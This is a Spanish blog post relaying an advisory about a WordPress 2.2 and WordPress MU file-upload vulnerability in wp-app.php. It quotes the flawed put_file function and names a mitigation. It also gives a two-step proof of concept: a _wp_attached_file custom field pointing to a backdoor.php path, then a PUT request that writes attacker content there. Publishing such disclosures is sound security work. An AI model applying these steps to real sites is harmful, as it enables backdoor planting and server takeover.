Vulnerabilidad en WordPress 2.2

27Jun07

De acuerdo a Alexander Concha en buayacorp.com, existe una nueva vulnerabilidad en las versiones WordPress 2.2 y WordPress <= 1.2.2.Wordpress permite subir al servidor ficheros, y los valores del nombre, título y otros valores se almacenan en la tabla wp_postscon el campo post_type=attachment, la localización y otras propiedades del fichero en la tabla wp_postmeta con campos especiales llamados _wp_attached_file y _wp_attachment_metadata. WordPress también permite campos especiales en páginas normales. En el fichero wp-app.php, la siguiente función permite subir los ficheros:

function put_file($postID) {

$type = $this->get_accepted_content_type();

// first check if user can upload
if(!current_user_can(’upload_files’))
$this->auth_required(__(’You do not have permission to upload files.’));

// check for not found
global $entry;
$this->set_current_entry($postID);

// then whether user can edit the specific post
if(!current_user_can(’edit_post’, $postID)) {
$this->auth_required(__(’Sorry, you do not have the right to edit this post.’));
}

$location = get_post_meta($entry[’ID’], ‘_wp_attached_file’, true);

if(!isset($location))
$this->internal_error(__(’Error ocurred while accessing post metadata for file location.’));

$fp = fopen(”php://input”, “rb”);
$localfp = fopen($location, “w+”);
while(!feof($fp)) {
fwrite($localfp,fread($fp, 4096));
}
fclose($fp);
fclose($localfp);

log_app(’function’,”put_file($postID)”);
$this->ok();
}

Esta función carga ela localización del primer fichero y escribe el contenido que se almacena en wp-app.php. Un atacante puede quitar el valor del primer metadata del fichero con un nombre conveniente del fichero, todos los contenidos serán almacenados en este fichero. En la versión WordPress MU es crítico, ya que cada usuario registrado tiene una cuenta que permite subir ficheros.
Prueba:
1.
Crear un artículo y añadir uncampo especial con el valor siguiente;

key : _wp_attached_file
value : /home/vulnerable.com/wp/wp-content/uploads/backdoor.php

2. Enviar un PUT al fichero wp-app.php y pasar el valor del post_id del paso primero

PUT /wp/wp-app.php?action=/attachment/file/post_ID HTTP/1.1
Cookie: auth cookies
Content-Type: image/gif
Host: vulnerable.com
Content-Length: the content length

Solución
Wordpress 2.2.1 y cambio 1005 de WordPress MU solamente solucionan el problema en parte porque son vulnerables utilizando otro vector.La mejor solución es quitar acceso a los ficheros wp-app.php or app.php.

Fuente:Noticias Tech

BG tags, :

 



One Response to “Vulnerabilidad en WordPress 2.2”

  1. My brother suggested I might like this blog. He was totally right.
    This post actually made my day. You can not imagine just how much time I had spent for this information!
    Thanks!


Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s


A %d blogueros les gusta esto: